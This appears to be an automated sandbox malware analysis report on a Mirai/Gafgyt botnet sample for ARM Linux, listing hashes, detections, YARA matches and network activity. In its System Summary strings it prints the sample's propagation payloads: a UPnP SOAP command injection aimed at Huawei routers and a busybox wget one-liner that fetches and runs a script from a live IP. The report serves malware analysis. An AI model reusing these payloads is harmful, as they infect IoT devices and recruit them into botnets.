Linux Analysis Report
belks.arm6.elf

Overview

General Information

Sample name: belks.arm6.elf
Analysis ID: 1544887
MD5: ebe7684f8798f508adeeb0c1b59ffd6d
SHA1: 8e8a49870f9ed5b617eb84fa6d30745f1d79f1c5
SHA256: a50b725c2ce11ab167cd2bccca12c2b16eca433c54e040b46e2cd7b154dd9a0e
Tags: belkselfuser-NDA0E
Infos:

Detection

Mirai
Score: 80
Range: 0 - 100
Whitelisted: false

Signatures

Antivirus / Scanner detection for submitted sample
Malicious sample detected (through community Yara rule)
Multi AV Scanner detection for submitted file
Yara detected Mirai
Sample contains strings indicative of BusyBox which embeds multiple Unix commands in a single executable
Sample has stripped symbol table
Tries to connect to HTTP servers, but all servers are down (expired dropper behavior)
Uses the "uname" system call to query kernel version information (possible evasion)
Yara signature match

Classification

Name Description Attribution Blogpost URLs Link
Mirai Mirai is one of the first significant botnets targeting exposed networking devices running Linux. Found in August 2016 by MalwareMustDie, its name means "future" in Japanese. Nowadays it targets a wide range of networked embedded devices such as IP cameras, home routers (many vendors involved), and other IoT devices. Since the source code was published on "Hack Forums" many variants of the Mirai family appeared, infecting mostly home networks all around the world. No Attribution https://malpedia.caad.fkie.fraunhofer.de/details/elf.mirai

AV Detection

barindex
Source: belks.arm6.elf Avira: detected
Source: belks.arm6.elf ReversingLabs: Detection: 68%
Source: global traffic TCP traffic: 192.168.2.13:48202 -> 185.125.190.26:443
Source: unknown TCP traffic detected without corresponding DNS query: 185.125.190.26
Source: unknown TCP traffic detected without corresponding DNS query: 185.125.190.26
Source: global traffic DNS traffic detected: DNS query: daisy.ubuntu.com
Source: belks.arm6.elf String found in binary or memory: http://2.58.113.110/bins/x86
Source: belks.arm6.elf String found in binary or memory: http://2.58.113.110/zyxel.sh;
Source: belks.arm6.elf String found in binary or memory: http://schemas.xmlsoap.org/soap/encoding/
Source: belks.arm6.elf String found in binary or memory: http://schemas.xmlsoap.org/soap/envelope/
Source: unknown Network traffic detected: HTTP traffic on port 48202 -> 443

System Summary

barindex
Source: belks.arm6.elf, type: SAMPLE Matched rule: Linux_Trojan_Gafgyt_28a2fe0c Author: unknown
Source: 5421.1.00007fd550017000.00007fd55002c000.r-x.sdmp, type: MEMORY Matched rule: Linux_Trojan_Gafgyt_28a2fe0c Author: unknown
Source: Process Memory Space: belks.arm6.elf PID: 5421, type: MEMORYSTR Matched rule: Linux_Trojan_Gafgyt_28a2fe0c Author: unknown
Source: Initial sample String containing 'busybox' found: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 2.58.113.110 -l /tmp/binary -r /mips; /bin/busybox chmod 777 * /tmp/binary; /tmp/binary mips)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Source: Initial sample String containing 'busybox' found: /bin/busybox wget http://2.58.113.110/zyxel.sh; chmod +x zyxel.sh; ./zyxel.sh
Source: ELF static info symbol of initial sample .symtab present: no
Source: belks.arm6.elf, type: SAMPLE Matched rule: Linux_Trojan_Gafgyt_28a2fe0c os = linux, severity = x86, creation_date = 2021-01-12, scan_context = file, memory, license = Elastic License v2, threat_name = Linux.Trojan.Gafgyt, fingerprint = a2c6beaec18ca876e8487c11bcc7a29279669588aacb7d3027d8d8df8f5bcead, id = 28a2fe0c-eed5-4c79-81e6-3b11b73a4ebd, last_modified = 2021-09-16
Source: 5421.1.00007fd550017000.00007fd55002c000.r-x.sdmp, type: MEMORY Matched rule: Linux_Trojan_Gafgyt_28a2fe0c os = linux, severity = x86, creation_date = 2021-01-12, scan_context = file, memory, license = Elastic License v2, threat_name = Linux.Trojan.Gafgyt, fingerprint = a2c6beaec18ca876e8487c11bcc7a29279669588aacb7d3027d8d8df8f5bcead, id = 28a2fe0c-eed5-4c79-81e6-3b11b73a4ebd, last_modified = 2021-09-16
Source: Process Memory Space: belks.arm6.elf PID: 5421, type: MEMORYSTR Matched rule: Linux_Trojan_Gafgyt_28a2fe0c os = linux, severity = x86, creation_date = 2021-01-12, scan_context = file, memory, license = Elastic License v2, threat_name = Linux.Trojan.Gafgyt, fingerprint = a2c6beaec18ca876e8487c11bcc7a29279669588aacb7d3027d8d8df8f5bcead, id = 28a2fe0c-eed5-4c79-81e6-3b11b73a4ebd, last_modified = 2021-09-16
Source: classification engine Classification label: mal80.troj.linELF@0/0@2/0
Source: /tmp/belks.arm6.elf (PID: 5421) Queries kernel information via 'uname': Jump to behavior
Source: belks.arm6.elf, 5421.1.00005582da7e3000.00005582da911000.rw-.sdmp Binary or memory string: U!/etc/qemu-binfmt/arm
Source: belks.arm6.elf, 5421.1.00007ffd5fdd6000.00007ffd5fdf7000.rw-.sdmp Binary or memory string: x86_64/usr/bin/qemu-arm/tmp/belks.arm6.elfSUDO_USER=saturninoPATH=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin:/snap/binDISPLAY=:1.0XAUTHORITY=/run/user/1000/gdm/XauthoritySUDO_UID=1000TERM=xterm-256colorCOLORTERM=truecolorLOGNAME=rootUSER=rootLANG=en_US.UTF-8SUDO_COMMAND=/bin/bashHOME=/rootMAIL=/var/mail/rootSUDO_GID=1000SHELL=/bin/bash/tmp/belks.arm6.elf
Source: belks.arm6.elf, 5421.1.00005582da7e3000.00005582da911000.rw-.sdmp Binary or memory string: /etc/qemu-binfmt/arm
Source: belks.arm6.elf, 5421.1.00007ffd5fdd6000.00007ffd5fdf7000.rw-.sdmp Binary or memory string: /usr/bin/qemu-arm
Source: belks.arm6.elf, 5421.1.00007ffd5fdd6000.00007ffd5fdf7000.rw-.sdmp Binary or memory string: qemu: uncaught target signal 11 (Segmentation fault) - core dumped

Stealing of Sensitive Information

barindex
Source: Yara match File source: belks.arm6.elf, type: SAMPLE
Source: Yara match File source: 5421.1.00007fd550017000.00007fd55002c000.r-x.sdmp, type: MEMORY
Source: Yara match File source: Process Memory Space: belks.arm6.elf PID: 5421, type: MEMORYSTR

Remote Access Functionality

barindex
Source: Yara match File source: belks.arm6.elf, type: SAMPLE
Source: Yara match File source: 5421.1.00007fd550017000.00007fd55002c000.r-x.sdmp, type: MEMORY
Source: Yara match File source: Process Memory Space: belks.arm6.elf PID: 5421, type: MEMORYSTR
  • No. of IPs < 25%
  • 25% < No. of IPs < 50%
  • 50% < No. of IPs < 75%
  • 75% < No. of IPs